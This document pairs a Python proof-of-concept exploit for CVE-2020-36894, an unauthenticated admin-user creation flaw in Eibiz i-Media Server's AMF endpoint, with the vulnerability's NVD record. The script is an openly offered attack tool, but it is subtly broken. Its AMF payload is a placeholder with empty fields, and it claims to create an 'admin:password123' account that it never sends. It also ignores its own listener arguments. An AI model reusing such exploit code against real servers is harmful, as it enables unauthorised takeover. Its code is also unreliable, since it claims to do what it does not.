CVE-2020-36894

#!/usr/bin/env python3 """ CVE-2020-36894 PoC - Eibiz i-Media Server Authentication Bypass This exploit creates an admin user by manipulating AMF serialized objects. """ import struct import socket import sys def create_amf_message(): """ Create AMF message to create admin user """ # AMF Message Header amf_data = bytearray() # Message type for AMF0 or AMF3 amf_data.append(0x00) # AMF0 encoding # Target URI (Flex messaging destination) target = "" # Flex destination amf_data.extend(struct.pack('>H', len(target))) amf_data.extend(target.encode('utf-8')) # Response URI response = "" # Response handler amf_data.extend(struct.pack('>H', len(response))) amf_data.extend(response.encode('utf-8')) # AMF Data - Array with user creation parameters # This is a simplified representation amf_data.append(0x11) # AMF3 array type return bytes(amf_data) def send_exploit(target_host, target_port, lhost, lport): """ Send exploit payload to target server """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Creating admin user with credentials: admin:password123") # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) try: sock.connect((target_host, target_port)) print("[+] Connected to target server") # Send HTTP POST request with AMF payload amf_payload = create_amf_message() http_request = f"POST /messagebroker/amf HTTP/1.1\r\n" http_request += f"Host: {target_host}:{target_port}\r\n" http_request += "Content-Type: application/x-amf\r\n" http_request += f"Content-Length: {len(amf_payload)}\r\n" http_request += "\r\n\r\n" sock.sendall(http_request.encode() + amf_payload) print("[+] Exploit payload sent") # Receive response response = sock.recv(4096) print(f"[+] Received response: {response[:200]}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2020-36894.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port, "127.0.0.1", 4444)

{"cve": {"id": "CVE-2020-36894", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:01.743", "lastModified": "2025-12-17T19:25:23.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Eibiz i-Media Server Digital Signage 3.8.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to create admin users through AMF-encoded object manipulation. Attackers can send crafted serialized objects to the /messagebroker/amf endpoint to create administrative users without authentication, bypassing security controls."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eibiz:i-media_server_digital_signage:3.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "CA26876B-8687-490C-A16D-551C7E04A425"}]}]}], "references": [{"url": "http://www.eibiz.co.th", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/48763", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/eibiz-i-media-server-digital-signage-unauthenticated-user-creation-vulnerability", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5586.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5586.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}